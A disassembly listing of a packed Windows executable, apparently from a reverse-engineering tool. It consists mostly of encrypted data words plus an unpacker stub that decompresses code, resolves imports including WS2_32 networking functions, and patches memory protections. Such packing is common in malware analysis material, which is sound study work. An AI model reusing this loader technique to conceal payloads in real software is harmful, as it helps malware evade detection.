0F1EE0DA8h, 3A4E5473h, 4F2B057Fh, 6434A598h dd 7941E822h, 98B521D2h, 736BC997h, 0CD05A902h, 2D273E05h dd 992BBD8Bh, 8E0F30C9h, 4C1CDC95h, 4A9E0599h, 99D17A0Eh dd 0A02DBA49h, 7D7E1B14h, 4A1E9092h, 77AE60Ah, 0F7096173h dd 0A99BA7E7h, 0F2C807B2h, 0E6AC304Bh, 343F2686h, 2F6557CAh dd 2EEDD30Dh, 6420DD6Ch, 5FE272E0h, 6BC481FDh, 0A159B362h dd 0D6356AA1h, 5D9438C2h, 310D87E4h, 0A27ED86Fh, 283C77BAh dd 0DE9A8B4Ch, 349700C5h, 73CD6287h, 0CCC5EBDEh, 0D703C53Ch dd 4011B96Ah, 0C5CCCB54h, 2530BD7Dh, 337546A4h, 2DAC17FDh dd 6DA0C662h, 0C92E0B56h, 12B2717Eh, 0C966822Fh, 9722DC0h dd 53CD9D5Eh, 0CD5FE449h, 6D2CAA2Fh, 64151172h, 0C8646ABDh dd 3C69C474h, 0C58285E0h, 1FAAF23Ch, 2999ADD4h, 629DAF53h dd 0E89395Fh, 6109FCB6h, 0CE5CDD24h, 0D8560EA8h, 0D18D2C98h dd 35BC2A14h, 5AEE646Dh, 823057E6h, 72BAA486h, 0BD988C52h dd 0F0B0CAE0h, 3C4A8594h, 0A4E1CD88h, 13D9A8B2h, 5C660BFh dd 9F44988h, 176948FEh, 0CF4ABEE8h, 4B42B368h, 85138EE6h dd 0B346F7A5h, 520DC2EEh, 300A1747h, 472288CAh, 93676137h dd 0FB5CE26Dh, 0DC553BA3h, 0AD6A72EFh, 1A98BA67h, 0BF82C663h dd 1E8849h, 0FC86E874h, 73BBFC85h, 28CE04EFh, 42D9B30Fh dd 0F9D2830Ch, 0BE50954Ah, 38FCF493h, 1133241Ah, 721720ECh dd 810105FDh, 0F98EB085h, 0B924FAF3h, 7F4455EAh, 6AD3692h dd 386E63D9h, 7BFD89F1h, 860BF2F7h, 123E9EAh, 18B89C81h dd 79CF92E0h, 0E2886290h, 0D28EA2CBh, 0EA2B2BFFh, 0D2C3F00Dh dd 75B97767h, 0E6B8F932h, 0FF3A5CB7h, 60E8240Bh, 1D808651h dd 2EBEAE47h, 56B57E0Ch, 0B1C2E310h, 0B6171F6Eh, 611A29ABh dd 840E946Ch, 5E16A607h, 0C3FA9205h, 0F93C12BAh, 9D39B3C2h dd 0DCA613Eh, 6824F41Eh, 0C0AD6BC2h, 0E8C01F83h, 91210CF4h dd 894DEDh, 8C8DF666h, 274E66D7h, 0DE14DF91h, 2576B975h dd 964E6C1Fh, 18AF8519h, 0BAD88AEAh, 9205E3FBh, 0D1788942h dd 17E908CBh, 9B38574Fh, 5A865AE9h, 74C5AAF9h, 0B9CB04Bh dd 0F481D7F0h, 0BE9A96CCh, 9F6903BDh, 974EF11Dh, 1625937h dd 0CDEE25EEh, 3511C51Bh, 0DA1D3DD7h, 9F4C4155h, 925F1F8Eh dd 8BA451DBh, 9ED874Fh, 7627BF35h, 9089F8FAh, 40EB903Bh dd 19E69B5Ah, 93CE21A7h, 0DFF4BAC6h, 0ED526663h, 0BB32DBE2h dd 91EDCB30h, 7F21ADF4h, 868D0C74h, 97CADEB3h, 8140FB6Fh dd 0B4096378h, 519801B9h, 58ABC0Bh, 5E516B70h, 0DAE9C9ABh dd 0EC6C4AF4h, 0A7824F67h, 4D32A7E9h, 0A986E95Bh, 411D1018h dd 40FD76AEh, 6E8065EDh, 0CD115D1Bh, 0D4B50658h, 0EDA75EB8h dd 68E4C76Dh, 2943FDE3h, 0F9A978E7h, 94468FD1h, 283ADE27h dd 639955E7h, 1DD5E1D3h, 6644E5ECh, 0E48EA063h, 0C2827EFCh dd 9454DD5h, 8AC96DB5h, 9BAB1F22h, 73EDA7CAh, 1788D3BAh dd 1C59946Eh, 3885337Bh, 5E5E2071h, 0EE2C9E98h, 0C8D42C91h dd 92393C52h, 0FE0B0C62h, 0E235203Eh, 0AD0D83DAh, 41FC5E83h dd 3AC7E311h, 0EF9CB122h, 0EA12ECA4h, 83D717F7h, 39F0E3F3h dd 377C84Ch, 0ABB8197Eh, 49CA3D27h, 0ADE9E33Ch, 1E4255E7h dd 0E3AC93FCh, 0A99AD18Fh, 0BCF2F813h, 7D8D87FEh, 64000032h dd 6F839023h, 88ABDF75h, 185DF3C9h, 21541733h, 63E07162h dd 87CE43A0h, 8F286E51h, 0CF73226Ah, 11659BC8h, 0C12F3B59h dd 46CE5E73h, 0CE19D2E1h, 4360BE72h, 2BE05E0Eh, 0A770ECADh dd 0E20496B1h, 8410556Eh, 13D90CEFh, 5839434Dh, 2469580Fh dd 10D61471h, 171AD79Fh, 258FFB1Ch, 0ED26F3F3h, 0BF6B5886h dd 10E7FDE1h, 0F2459510h, 0D1EE9ED7h, 0FE089DBBh, 1F1CD48h dd 0AEC6DFFDh, 847E6059h, 0BA98E4D6h, 0C8A21EAh, 404D6E46h dd 0CFC77DEFh, 4CED2D02h, 5ED1C30Fh, 720C0588h, 7F24E89Dh dd 72E9DE7Bh, 21E6E9DDh, 0ED620B4Fh, 5785B29Bh, 37B33A47h dd 6B1A9D0Fh, 2009F9C4h, 0FBA47B10h, 0E7E3CCE0h, 2E17309Dh dd 2F47CB5Eh, 0E82FDFB5h, 1B9DCE5h, 271DA776h, 0E91C7090h dd 5AFDEB94h, 2044DBC9h, 0D2283125h, 0B873367Bh, 443F88ABh dd 0F195D387h, 56238E87h, 8954409Ch, 3EA6F0A4h, 24F6D94Dh dd 75198B7Fh, 0C412F180h, 72A1187Fh, 54107F2Fh, 7E65669Ah dd 3A7A636Fh, 90842549h, 11F3DD5h, 3EE044CDh, 1204CC1Fh dd 0BCBADAC6h, 7825E62Fh, 0EC15A31Ah, 0BB05F861h, 7DF40925h dd 0C7141C21h, 1D68C445h, 0E0DCB6D7h, 0B15F01ABh, 0AF05B331h dd 0AF542084h, 532444A0h, 76C8006Ah, 8D603141h, 0C08CD62Eh dd 0F9E2C305h, 23D9A1EBh, 51153331h, 9A391C6Ch, 0C6B8AA2Dh dd 2F4250E1h, 6AC2DE9Ch, 0A01EACE6h, 0A4122ECFh, 28E7B4D8h dd 0B8ED567Fh, 45D03978h, 6357B7DDh, 0A01A25E5h, 7C2D26EDh dd 0F5E2D9DEh, 0AF1B5138h, 1CBC1758h, 455BB4C0h, 0C197C65h dd 0F94A1A5Bh, 67D8E67h, 0E3C6B044h, 0BD93569Ah, 6D60AF11h dd 9BFD8BE4h, 595E86EBh, 0D055100h, 0DC8FA322h, 0E00B7FEAh dd 0C5E8C901h, 0B9DC7EB4h, 0B3F9EB03h, 8BC5B68Ch, 5C2CA94Fh dd 2C7B852Bh, 0E4D84D85h, 0F5D7CD86h, 4C2360D9h, 6E6013D7h dd 0DCB2CF88h, 10A120EFh, 0B72DA089h, 12584BDEh, 6E8A2FA8h dd 4C6B37E7h, 0A23908DAh, 26B237C6h, 0C50C48EFh, 93933846h dd 0DCFC8F90h, 286A3826h, 57BE8986h, 32C1584Eh, 0F91FF961h dd 0EE5D7455h, 0D037655Fh, 0C6134D59h, 3D6C42AAh, 9E75471Eh dd 644BEEBh, 374CB68Ch, 88021020h, 99DCB56Ch, 0E41E5BCBh dd 9A099585h, 4F812576h dd 6A2FD6FBh, 629A5579h, 2FECB70Bh, 853FCB1Ch, 0BAA34C09h dd 6B5A8501h, 46D22ABDh, 8F734AE2h, 4143A904h, 0D6F8F7A6h dd 34FDA7C5h, 306850B1h, 0AD16EA3Ch, 513D5D9Eh, 42450987h dd 7CAE6735h, 9E51E393h, 534876B9h, 0A049B54Dh, 0C746648Dh dd 8E8CAB2Bh, 0AC88518h, 50A313FCh, 97D4D504h, 0C2EB1117h dd 4D26C1D2h, 1711F3C4h, 91D174B3h, 3E540A0Dh, 8BB5C1B4h dd 6FA80DCBh, 6AB9943Eh, 0B09A2013h, 0BBE4F1E1h, 7A085BE3h dd 0D63B9079h, 64AFE530h, 4E6FFB8Fh, 0E8839F36h, 7D664321h dd 31D6621Eh, 1B8940ACh, 0F357C5F5h, 0E3E26C88h, 69D283F4h dd 52154097h, 46D55911h, 61182944h, 0CD128DE1h, 6BCC0ECBh dd 0EF99F3DBh, 0B605FDFh, 79E68BD0h, 177ABE91h, 55B5ABC6h dd 0A83D2F8Dh, 0D6AEBC1Fh, 2F1EDAADh, 1EE0860Ah, 9F7F64D2h dd 8709094Ch, 0A427CC14h, 28ACE955h, 580h dup(0) dd 14h, 0 dd 659FCh, 1D77A1A0h, 0C7C80h, 12h, 0Dh, 65AD9h, 71AB4428h dd 120005h, 180000h, 5AE10000h, 6AEA0006h, 137712h, 12h dd 25h, 65AE9h, 7C812A09h, 0Eh, 3 dup(0) db 0 align 2 dw 6547h db 74h ; t db 50h, 72h, 6Fh db 63h ; c db 41h, 2 dup(64h) db 72h ; r db 65h, 2 dup(73h) db 47h ; G db 65h, 74h, 4Dh db 6Fh ; o db 64h, 75h, 6Ch db 65h ; e db 48h, 61h, 6Eh db 64h ; d db 6Ch, 65h, 41h db 4Ch ; L db 6Fh, 61h, 64h db 4Ch ; L db 69h, 62h, 72h db 61h ; a db 72h, 79h, 41h db 0FFh db 74h, 2 dup(0) aAvariantchange db 'VariantChangeTypeExRaiseException',0 align 1000h _nsp0 ends ; Section 2. (virtual address 00081000) ; Virtual size : 00030000 ( 196608.) ; Section size in file : 00030000 ( 196608.) ; Offset to raw data for section: 00081000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp1 segment para public 'CODE' use32 assume cs:_nsp1 ;org 481000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 906h, 0 dd 80000h, 0 dd 400000h, 0 dd 7C800000h, 7 dup(0) dd 3A0000h, 0 dd offset sub_401000 align 8 dd 1, 0 dd 100h, 6 dup(0) dd 2, 168h, 2 dup(0) dd 1, 0 dd offset sub_401000 dd 0 dd 2EF67h, 3 dup(0) dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h dd 7C81CDDAh, 0 dd 71AB4428h, 0 dd 77126AEAh, 0 dd 7C812A09h, 4 dup(0) dd 81134h, 8109Ch, 3 dup(0) dd 81141h, 810B8h, 3 dup(0) dd 8114Ch, 810C0h, 3 dup(0) dd 81159h, 810C8h, 5 dup(0) dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh dd 4C4C44h, 41454C4Fh, 32335455h, 4C4C442Eh, 52454B00h dd 334C454Eh, 4C442E32h, 4Ch, 64616F4Ch, 7262694Ch, 41797261h dd 47000000h, 72507465h, 6441636Fh, 73657264h, 73h, 74726956h dd 506C6175h, 65746F72h, 7463h, 72695600h, 6C617574h, 6F6C6C41h dd 63h, 74726956h, 466C6175h, 656572h, 78450000h, 72507469h dd 7365636Fh, 73h aVariantchanget db 'VariantChangeTypeEx',0 dd 61520000h, 45657369h, 70656378h, 6E6F6974h, 8E000000h dd 70290EC1h db 0D7h, 0E3h, 0F0h ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 004815B3 SIZE 00000009 BYTES pushf pusha call $+5 pop ebp sub ebp, 7 lea ecx, [ebp-177h] cmp byte ptr [ecx], 1 jz loc_48144F mov byte ptr [ecx], 1 mov eax, ebp sub eax, [ebp-1E3h] mov [ebp-1E3h], eax add [ebp-1B3h], eax lea esi, [ebp-16Fh] add [esi], eax push ebp push esi push 40h push 1000h push 1000h push 0 call dword ptr [ebp-14Bh] test eax, eax jz loc_4815B3 mov [ebp-1BBh], eax call $+5 pop ebx mov ecx, 367h add ebx, ecx push eax push ebx call sub_481514 pop esi pop ebp mov esi, [esi] mov edi, ebp add edi, [ebp-1F3h] mov ebx, edi cmp dword ptr [edi], 0 jnz short loc_481281 add edi, 4 mov ecx, 0 jmp short loc_481297 ; --------------------------------------------------------------------------- loc_481281: ; CODE XREF: start+82j mov ecx, 1 add edi, [ebx] add ebx, 4 loc_48128B: ; CODE XREF: start+CFj cmp dword ptr [ebx], 0 jz short loc_4812C4 add [ebx], edx mov esi, [ebx] add edi, [ebx+4] loc_481297: ; CODE XREF: start+8Cj push edi push ecx push ebx push dword ptr [ebp-147h] push dword ptr [ebp-14Bh] mov edx, esi mov ecx, edi mov eax, [ebp-1BBh] add eax, 5AAh call eax pop ebx pop ecx pop edi cmp ecx, 0 jz short loc_4812C4 add ebx, 8 jmp short loc_48128B ; --------------------------------------------------------------------------- loc_4812C4: ; CODE XREF: start+9Bj start+CAj push 8000h push 0 push dword ptr [ebp-1BBh] call dword ptr [ebp-147h] lea esi, [ebp-1B3h] mov ecx, [esi+8] lea edx, [esi+10h] mov esi, [esi] mov edi, esi cmp ecx, 0 jz short loc_48132B loc_4812EC: ; CODE XREF: start+100j start+10Ej mov al, [edi] inc edi sub al, 0E8h loc_4812F1: ; CODE XREF: start+136j cmp al, 1 ja short loc_4812EC mov eax, [edi] cmp byte ptr [edx+1], 0 jz short loc_481311 mov bl, [edx] cmp [edi], bl jnz short loc_4812EC mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah jmp short loc_48131B ; --------------------------------------------------------------------------- loc_481311: ; CODE XREF: start+108j mov bl, [edi+4] xchg al, ah rol eax, 10h xchg al, ah loc_48131B: ; CODE XREF: start+11Cj sub eax, edi add eax, esi mov [edi], eax add edi, 5 sub bl, 0E8h mov eax, ebx loop loc_4812F1 loc_48132B: ; CODE XREF: start+F7j call sub_48146A lea ecx, [ebp-19Fh] mov eax, [ecx+8] cmp eax, 0 jz loc_4813C3 mov esi, edx sub esi, [ecx+10h] jz short loc_4813C3 mov [ecx+10h], esi lea esi, [ebp-16Fh] mov esi, [esi] lea ebx, [esi-4] mov eax, [ecx] cmp eax, 1 jz short loc_481368 mov edi, edx add edi, [ecx+8] mov ecx, [ecx+10h] jmp short loc_481370 ; --------------------------------------------------------------------------- loc_481368: ; CODE XREF: start+169j mov edi, esi add edi, [ecx+8] mov ecx, [ecx+10h] loc_481370: ; CODE XREF: start+173j start+18Ej xor eax, eax mov al, [edi] inc edi or eax, eax jz short loc_481399 cmp al, 0EFh ja short loc_481383 loc_48137D: ; CODE XREF: start+19Dj start+1A4j add ebx, eax add [ebx], ecx jmp short loc_481370 ; --------------------------------------------------------------------------- loc_481383: ; CODE XREF: start+188j and al, 0Fh shl eax, 10h mov ax, [edi] add edi, 2 or eax, eax jnz short loc_48137D mov eax, [edi] add edi, 4 jmp short loc_48137D ; --------------------------------------------------------------------------- loc_481399: ; CODE XREF: start+184j xor ebx, ebx xchg edi, esi mov eax, [esi] cmp eax, 0 jz short loc_4813C3 loc_4813A4: ; CODE XREF: start+1BCj lodsd or eax, eax jz short loc_4813B1 add ebx, eax add [edi+ebx], cx jmp short loc_4813A4 ; --------------------------------------------------------------------------- loc_4813B1: ; CODE XREF: start+1B4j xor ebx, ebx shr ecx, 10h loc_4813B6: ; CODE XREF: start+1CEj lodsd or eax, eax jz short loc_4813C3 add ebx, eax add [edi+ebx], cx jmp short loc_4813B6 ; --------------------------------------------------------------------------- loc_4813C3: ; CODE XREF: start+149j start+154j ... lea esi, [ebp-1E3h] mov edx, [esi] lea esi, [ebp-187h] mov al, [esi] cmp al, 1 jnz short loc_481416 add edx, [esi+4] push esi push edx push esi push 4 push 100h push edx call dword ptr [ebp-14Fh] pop edi pop esi cmp eax, 1 jnz loc_4815B3 add esi, 8 mov ecx, 8 rep movsb sub esi, 0Ch sub edi, 8 push esi push dword ptr [esi-4] push 100h push edi call dword ptr [ebp-14Fh] loc_481416: ; CODE XREF: start+1E2j push ebp pop ebx sub ebx, 8 xor ecx, ecx mov cl, [ebx] cmp cl, 0 jz short loc_48144F inc ebx lea esi, [ebp-1E3h] mov edx, [esi] loc_481430: ; CODE XREF: start+25Aj push esi push ecx push ebx push edx push esi push dword ptr [ebx] push dword ptr [ebx+4] mov eax, [ebx+8] add eax, edx push eax call dword ptr [ebp-14Fh] pop edx pop ebx pop ecx pop esi add ebx, 0Ch loop loc_481430 loc_48144F: ; CODE XREF: start+14j start+232j mov eax, 0 cmp eax, 0 jz short loc_481463 popa popf mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_481463: ; CODE XREF: start+264j popa popf jmp sub_401000 start endp ; =============== S U B R O U T I N E ======================================= sub_48146A proc near ; CODE XREF: start:loc_48132Bp mov esi, [ebp-1EBh] or esi, esi jz loc_48150F mov edx, [ebp-1E3h] add esi, edx loc_481480: ; CODE XREF: sub_48146A+61j cmp dword ptr [esi], 0 jnz short loc_481493 cmp dword ptr [esi+4], 0 jnz short loc_481493 cmp dword ptr [esi+8], 0 jnz short loc_481493 jmp short loc_48150D ; --------------------------------------------------------------------------- loc_481493: ; CODE XREF: sub_48146A+19j ; sub_48146A+1Fj ... mov ebx, [esi+8] add ebx, edx push ebx push edx push esi lea edi, [ebp-0BFh] add edi, [esi+4] add esi, 0Ch push edi call dword ptr [ebp-157h] pop edi pop edx pop ebx cmp eax, 0 jz short loc_48150F mov [ebp-1DBh], eax add edi, [esi] add esi, 4 loc_4814C1: ; CODE XREF: sub_48146A+A1j xor ecx, ecx mov cl, [esi] cmp ecx, 0 jnz short loc_4814CD inc esi jmp short loc_481480 ; --------------------------------------------------------------------------- loc_4814CD: ; CODE XREF: sub_48146A+5Ej mov eax, edi add edi, ecx push edx push ebx push eax cmp byte ptr [eax], 0FFh jnz short loc_4814E1 inc eax mov eax, [eax] and eax, 7FFFFFFFh loc_4814E1: ; CODE XREF: sub_48146A+6Dj mov cl, [edi] mov byte ptr [edi], 0 push ecx push eax push dword ptr [ebp-1DBh] call dword ptr [ebp-153h] pop ecx pop edx pop ebx pop edx cmp eax, 0 jz short loc_48150F mov [edi], cl mov [esi-4], eax push dword ptr [esi-4] pop dword ptr [ebx] add ebx, 4 inc esi jmp short loc_4814C1 ; --------------------------------------------------------------------------- loc_48150D: ; CODE XREF: sub_48146A+27j clc retn ; --------------------------------------------------------------------------- loc_48150F: ; CODE XREF: sub_48146A+8j ; sub_48146A+4Aj ... jmp loc_4815B3 sub_48146A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_481514 proc near ; CODE XREF: start+6Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004815AF SIZE 00000004 BYTES push ebp mov ebp, esp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_481520: ; CODE XREF: sub_481514+12j movsb loc_481521: ; CODE XREF: sub_481514+34j ; sub_481514+7Dj call sub_481593 jnb short loc_481520 xor ecx, ecx call sub_481593 jnb short loc_48154A xor eax, eax call sub_481593 jnb short loc_48155B mov al, 10h loc_48153C: ; CODE XREF: sub_481514+2Fj call sub_481593 adc al, al jnb short loc_48153C jnz short loc_481588 stosb jmp short loc_481521 ; --------------------------------------------------------------------------- loc_48154A: ; CODE XREF: sub_481514+1Bj call sub_48159F dec ecx loop loc_481567 mov eax, ebp call sub_48159D jmp short loc_481589 ; --------------------------------------------------------------------------- loc_48155B: ; CODE XREF: sub_481514+24j lodsb shr eax, 1 jz short loc_4815AF adc ecx, 2 mov ebp, eax jmp short loc_481589 ; --------------------------------------------------------------------------- loc_481567: ; CODE XREF: sub_481514+3Cj xchg eax, ecx dec eax shl eax, 8 lodsb mov ebp, eax call sub_48159D cmp eax, 7D00h jnb short loc_481587 cmp eax, 500h jnb short loc_481588 cmp eax, 7Fh ja short loc_481589 loc_481587: ; CODE XREF: sub_481514+65j inc ecx loc_481588: ; CODE XREF: sub_481514+31j ; sub_481514+6Cj inc ecx loc_481589: ; CODE XREF: sub_481514+45j ; sub_481514+51j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_481521 sub_481514 endp ; =============== S U B R O U T I N E ======================================= sub_481593 proc near ; CODE XREF: sub_481514:loc_481521p ; sub_481514+16p ... add dl, dl jnz short locret_48159C mov dl, [esi] inc esi adc dl, dl locret_48159C: ; CODE XREF: sub_481593+2j retn sub_481593 endp ; =============== S U B R O U T I N E ======================================= sub_48159D proc near ; CODE XREF: sub_481514+40p ; sub_481514+5Bp xor ecx, ecx sub_48159D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_48159F proc near ; CODE XREF: sub_481514:loc_48154Ap inc ecx loc_4815A0: ; CODE XREF: sub_48159F+Dj call sub_481593 adc ecx, ecx call sub_481593 jb short loc_4815A0 retn sub_48159F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_481514 loc_4815AF: ; CODE XREF: sub_481514+4Aj pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_481514 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4815B3: ; CODE XREF: start+51j start+1FDj ... push 0 call dword ptr [ebp-143h] retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- inc dword ptr [eax] mov edx, [ecx] cmp edx, [ecx+4] jnz short loc_4815CF mov dword ptr [ecx+eax*2], 2300110h or al, 0FFh retn ; --------------------------------------------------------------------------- loc_4815CF: ; CODE XREF: .nsp1:004815C3j pop es mov al, [edx] inc edx mov [ecx], edx pusha mov eax, [esp+4] sbb al, 83h popa adc [ebx], dh or [ebx+eax*4], cl push esi push ds and [ebx], al rol byte ptr [ecx+49h], 1 or bh, bh push 5 jmp short loc_4815FE ; --------------------------------------------------------------------------- db 58h dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh db 0C1h, 0E2h ; --------------------------------------------------------------------------- loc_4815FE: ; CODE XREF: .nsp1:004815EDj or [ebx], cl retn 3E4Eh ; --------------------------------------------------------------------------- db 89h dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh, 1D83E82Bh dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh, 4F97F28Ch dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh, 0E8DB8594h dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h, 0D98BC97Dh dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h, 61C98824h dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h dd 6A11EB08h, 48EF840h, 0A213A102h, 0D2D2100Ch, 4ABE2C67h dd 813F938h, 41F1544Eh, 0C8030C4Dh, 70473324h, 52A4F1B8h dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h, 0DB325A05h dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh, 0E958020Dh dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h, 207D8EA3h dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h, 0FD446455h dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h, 8A1C9AF8h dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh, 0E894C233h dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh, 912BC09Dh dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah dd 4F8D997h, 4C7CB424h, 58247D03h, 0F25194D8h, 624073Dh dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h, 0FB2391D6h dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h, 854A4009h dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h, 0B5905582h dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h, 0E9440762h dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h, 2420651Dh dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh dd 0F8C41E5Fh, 80B90153h, 0 dd 5D00h, 0EF560020h, 2, 34000008h, 0FD114600h, 491AFEC8h dd 312983D3h, 0F18D48B5h, 0CD7BC992h, 5FAF5B3h, 0A1089ED2h dd 0B2D9CBEBh, 0A81271AEh, 46834FD3h, 8CB186C1h, 0EAEC0101h dd 34796545h, 0C6B2C59h, 2B9ABACEh, 4FFB2C2Dh, 0B90D466Bh dd 0EFB83F48h, 7EFEF85Ch, 0DDC942EEh, 85007A4h, 4A7A3DC9h dd 0A763D86Dh, 1EB07A16h, 0A9A204ECh, 8A6CA8D7h, 561CB3h dd 0D94B4DE9h, 5E70E76Bh, 0C26D9516h, 3A602567h, 6DE30C9h dd 0B0A01EF0h, 0F464A54h, 6B278B6Eh, 0B63E8333h, 93DC20CCh dd 465650EDh, 0C9ABB3F8h, 0C8CB4C3Dh, 69467470h, 5E6006D7h dd 8F4287A6h, 45A3D2C8h, 0B795B877h, 4CA5AEA4h, 0AE612451h dd 0A3A472DDh, 0E6574F0Bh, 31A69875h, 0B121F4E3h, 22E733B3h dd 7ECF2B01h, 0E96FF67Bh, 0A1A6AA53h, 0CEDDE363h, 0AB886AE3h dd 0BC0C6A95h, 0E6DFF825h, 0DEA1F240h, 1AF473A1h, 37C33067h dd 0DEE4549Fh, 0CAF92AECh, 1A2C44C3h, 0B9D5E4F8h, 54A07E3Dh dd 0A2FCA6CDh, 16AB6610h, 3DD8499Dh, 0E2873A55h, 0E2F4E85h dd 0C16BFDAFh, 0A1E86A7Ah, 3AA2EC07h, 8C4B8AD2h, 199A8E40h dd 383F8F8Ah, 7F021703h, 6B67886h, 5E891C89h, 7056E8D6h dd 59001F61h, 0C8F1E514h, 50B4F4D1h, 89CD5216h, 0EC00A0E1h dd 73D6F338h, 0EB8FC6B0h, 0D252C673h, 0CA85C609h, 0D9AA0B06h dd 0B29C3C5Fh, 628AB082h, 0F78F3DEBh, 0B2C5FC1Dh, 6F863617h dd 2C6EBBAAh, 1316114Ah, 61BA134Fh, 0F3488D21h, 0A1ECA0A5h dd 0EAA9A2A6h, 65344756h, 66AA6C7Ch, 1186DDCAh, 423D3229h dd 695E4002h, 0C1E81A16h, 0EA6C1F90h, 0A8C34DA7h, 0D26D62E5h dd 0C8354069h, 